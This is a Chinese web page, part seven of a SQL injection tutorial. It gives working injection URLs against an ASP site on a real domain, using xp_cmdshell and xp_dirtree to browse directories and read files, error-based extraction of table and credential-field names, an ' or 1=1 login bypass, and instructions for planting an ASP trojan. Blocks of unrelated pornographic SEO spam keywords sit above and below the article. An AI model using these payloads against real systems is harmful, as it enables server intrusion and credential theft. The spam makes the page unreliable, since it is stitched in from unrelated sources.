<em id="0a85b"><option id="0a85b"></option></em>

<abbr id="0a85b"></abbr>

      <nobr id="0a85b"></nobr>
        <tr id="0a85b"></tr>
        9久久伊人精品综合,亚洲一区精品视频在线,成 人免费va视频,国产一区二区三区黄网,99国产精品永久免费视频,亚洲毛片多多影院,精品久久久无码人妻中文字幕,无码国产欧美一区二区三区不卡
        學(xué)習(xí)啦>學(xué)習(xí)電腦>電腦安全>網(wǎng)絡(luò)安全知識(shí)>

        SQL注入漏洞的攻防策略(7)

        時(shí)間: 若木632 分享

          GO ON~!

          當(dāng)上述條件不成立時(shí)就要繼續(xù)下面的步驟

          (一)、發(fā)現(xiàn)WEB虛擬目錄

          只有找到WEB虛擬目錄,才能確定放置ASP木馬的位置,進(jìn)而得到USER權(quán)限。有兩種方法比較有效。

          一是根據(jù)經(jīng)驗(yàn)猜解,一般來(lái)說(shuō),WEB虛擬目錄是:c:/inetpub/wwwroot;

          D:/inetpub/wwwroot; E:/inetpub/wwwroot等,而可執(zhí)行虛擬目錄是:

          c:/inetpub/scripts; D:/inetpub/scripts; E:/inetpub/scripts等。

          二是遍歷系統(tǒng)的目錄結(jié)構(gòu),分析結(jié)果并發(fā)現(xiàn)WEB虛擬目錄;

          先創(chuàng)建一個(gè)臨時(shí)表:temp

          HTTP://www.163.com/news.asp?id=xx;create table temp(id nvarchar(255),num1 nvarchar(255),num2

          nvarchar(255),num3

          nvarchar(255));--

          接下來(lái):

          1 我們可以利用xp_availablemedia來(lái)獲得當(dāng)前所有驅(qū)動(dòng)器,并存入temp表中:

          HTTP://www.163.com/news.asp?id=xx;insert temp exec master.dbo.xp_availablemedia;--

          我們可以通過查詢temp的內(nèi)容來(lái)獲得驅(qū)動(dòng)器列表及相關(guān)信息

          2 我們可以利用xp_subdirs獲得子目錄列表,并存入temp表中:

          HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_subdirs 'c:/';--

          3 我們還可以利用xp_dirtree獲得所有子目錄的目錄樹結(jié)構(gòu),并寸入temp表中:

          HTTP://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree

          'c:/';--

          這樣就可以成功的瀏覽到所有的目錄(文件夾)列表:

          如果我們需要查看某個(gè)文件的內(nèi)容,可以通過執(zhí)行xp_cmdsell:

          HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'type

          c:/web/index.asp';--

          使用'bulk insert'語(yǔ)法可以將一個(gè)文本文件插入到一個(gè)臨時(shí)表中。如:bulk insert temp(id) from

          'c:/inetpub/wwwroot/index.asp'

          瀏覽temp就可以看到index.asp文件的內(nèi)容了!通過分析各種ASP文件,可以得到大量系統(tǒng)信息,WEB建設(shè)

          與管理信息,甚至可以得到SA帳號(hào)的連接密碼。

          當(dāng)然,如果xp_cmshell能夠執(zhí)行,我們可以用它來(lái)完成:

          HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir

          c:/';--

          HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/

          *.asp /s/a';--

          通過xp_cmdshell我們可以看到所有想看到的,包括W3svc

          HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'cscript

          C:/Inetpub/AdminScripts/adsutil.vbs enum w3svc'

          但是,如果不是SA權(quán)限,我們還可以使用

          HTTP://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree

          'c:/';--

          注意:

          1、以上每完成一項(xiàng)瀏覽后,應(yīng)刪除TEMP中的所有內(nèi)容,刪除方法是:

          HTTP://www.163.com/news.asp?id=xx;delete from temp;--

          2、瀏覽TEMP表的方法是:(假設(shè)TestDB是當(dāng)前連接的數(shù)據(jù)庫(kù)名)

          HTTP://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0

          得到表TEMP中第一條記錄id字段的值,并與整數(shù)進(jìn)行比較,顯然news.asp工作異常,但在異常中卻可

          以發(fā)現(xiàn)id字段的值。假設(shè)發(fā)現(xiàn)的表名是xyz,則

          HTTP://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0 where id

          not in('xyz'))>0

          得到表TEMP中第二條記錄id字段的值。

          (二)、上傳ASP木馬

          所謂ASP木馬,就是一段有特殊功能的ASP代碼,并放入WEB虛擬目錄的Scripts下,遠(yuǎn)程客戶通過IE就

          可執(zhí)行它,進(jìn)而得到系統(tǒng)的USER權(quán)限,實(shí)現(xiàn)對(duì)系統(tǒng)的初步控制。上傳ASP木馬一般有兩種比較有效的方法

          :

          1、利用WEB的遠(yuǎn)程管理功能

          許多WEB站點(diǎn),為了維護(hù)的方便,都提供了遠(yuǎn)程管理的功能;也有不少WEB站點(diǎn),其內(nèi)容是對(duì)于不同的

          用戶有不同的訪問權(quán)限。為了達(dá)到對(duì)用戶權(quán)限的控制,都有一個(gè)網(wǎng)頁(yè),要求用戶名與密碼,只有輸入了正

          確的值,才能進(jìn)行下一步的操作,可以實(shí)現(xiàn)對(duì)WEB的管理,如上傳、下載文件,目錄瀏覽、修改配置等。

          因此,若獲取正確的用戶名與密碼,不僅可以上傳ASP木馬,有時(shí)甚至能夠直接得到USER權(quán)限而瀏覽

          系統(tǒng),上一步的“發(fā)現(xiàn)WEB虛擬目錄”的復(fù)雜操作都可省略。

          用戶名及密碼一般存放在一張表中,發(fā)現(xiàn)這張表并讀取其中內(nèi)容便解決了問題。以下給出兩種有效方

          法。

          A、 注入法:

          從理論上說(shuō),認(rèn)證網(wǎng)頁(yè)中會(huì)有型如:

          select * from admin where username='XXX' and password='YYY' 的語(yǔ)句,若在正式運(yùn)行此句之前

          ,沒有進(jìn)行必要的字符過濾,則很容易實(shí)施SQL注入。

          如在用戶名文本框內(nèi)輸入:abc’ or 1=1-- 在密碼框內(nèi)輸入:123 則SQL語(yǔ)句變成:

          select * from admin where username='abc’ or 1=1 and password='123’

          不管用戶輸入任何用戶名與密碼,此語(yǔ)句永遠(yuǎn)都能正確執(zhí)行,用戶輕易騙過系統(tǒng),獲取合法身份。

          B、猜解法:

          基本思路是:猜解所有數(shù)據(jù)庫(kù)名稱,猜出庫(kù)中的每張表名,分析可能是存放用戶名與密碼的表名,猜

          出表中的每個(gè)字段名,猜出表中的每條記錄內(nèi)容。

          a 猜解所有數(shù)據(jù)庫(kù)名稱

          HTTP://www.163.com/news.asp?id=xx and (select count(*) from master.dbo.sysdatabases where

          name>1 and dbid=6) <>0

          因?yàn)閐bid的值從1到5,是系統(tǒng)用了。所以用戶自己建的一定是從6開始的。并且我們提交了 name>1

          (name字段是一個(gè)字符型的字段和數(shù)字比較會(huì)出錯(cuò)),news.asp工作異常,可得到第一個(gè)數(shù)據(jù)庫(kù)名,同理把D

          BID分別改成7,8,9,10,11,12…就可得到所有數(shù)據(jù)庫(kù)名。

          以下假設(shè)得到的數(shù)據(jù)庫(kù)名是TestDB。

          b 猜解數(shù)據(jù)庫(kù)中用戶名表的名稱

          猜解法:此方法就是根據(jù)個(gè)人的經(jīng)驗(yàn)猜表名,一般來(lái)說(shuō),

          user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuse

          r,

          systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通過語(yǔ)句進(jìn)行判斷

          HTTP://www.163.com/news.asp?id=xx and (select count(*) from TestDB.dbo.表名)>0 若表名存

          在,則news.asp工作正常,否則異常。如此循環(huán),直到猜到系統(tǒng)帳號(hào)表的名稱。

          讀取法:SQL-SERVER有一個(gè)存放系統(tǒng)核心信息的表sysobjects,有關(guān)一個(gè)庫(kù)的所有表,視圖等信息全

          部存放在此表中,而且此表可以通過WEB進(jìn)行訪問。

          當(dāng)xtype='U' and status>0代表是用戶建立的表,發(fā)現(xiàn)并分析每一個(gè)用戶建立的表及名稱,便可以

          得到用戶名表的名稱,基本的實(shí)現(xiàn)方法是:

          ①HTTP://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects

          where xtype='U' and status>0 )>0

          得到第一個(gè)用戶建立表的名稱,并與整數(shù)進(jìn)行比較,顯然news.asp工作異常,但在異常中卻可以發(fā)現(xiàn)表的

          名稱。假設(shè)發(fā)現(xiàn)的表名是xyz,則

          ②HTTP://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects

          where xtype='U' and status>0 and

          name not in('xyz'))>0 可以得到第二個(gè)用戶建立的表的名稱,同理就可得到所有用建立的表的名稱。

          根據(jù)表的名稱,一般可以認(rèn)定那張表用戶存放用戶名及密碼,以下假設(shè)此表名為Admin。

          c 猜解用戶名字段及密碼字段名稱

          admin表中一定有一個(gè)用戶名字段,也一定有一個(gè)密碼字段,只有得到此兩個(gè)字段的名稱,才有可能

          得到此兩字段的內(nèi)容。如何得到它們的名稱呢,同樣有以下兩種方法。

        75367 主站蜘蛛池模板: 人妻丰满熟妇AV无码区乱| 国产最大成人亚洲精品| 久久超碰极品视觉盛宴| 久久久久人妻精品一区三寸| 亚洲国产呦萝小初| 久久婷婷大香萑太香蕉AV人| 成人嫩草研究院久久久精品| A男人的天堂久久A毛片 | 日韩av在线不卡一区二区| 免费吃奶摸下激烈视频| 天天在线看无码AV片| 潮喷失禁大喷水av无码| 成人免费亚洲av在线| 男人j进入女人j内部免费网站| 久久99国产精品尤物| 狠狠色婷婷久久综合频道日韩| 中文午夜乱理片无码| 日韩人妻精品中文字幕| 亚洲av免费看一区二区| 在线观看无码av免费不卡网站| 韩国18禁啪啪无遮挡免费| 中文在线天堂中文在线天堂 | 377P欧洲日本亚洲大胆| 最新的精品亚洲一区二区| 亚洲精品一区二区美女| 亚洲一区二区视频在线观看| 粉嫩小泬无遮挡久久久久久| 久久精品国产亚洲不AV麻豆| 亚洲伊人久久综合成人| 日韩一区二区在线看精品| 日本久久久久亚洲中字幕| 日韩成人免费无码不卡视频| 亚洲一区二区三区日本久久| 亚洲区1区3区4区中文字幕码| 无码日韩做暖暖大全免费不卡| 成人亚欧欧美激情在线观看| 中文字幕在线不卡一区二区| 少妇顶级牲交免费在线| 少妇被粗大的猛烈进出69影院一| 玖玖在线精品免费视频| 国内精品久久久久影院日本|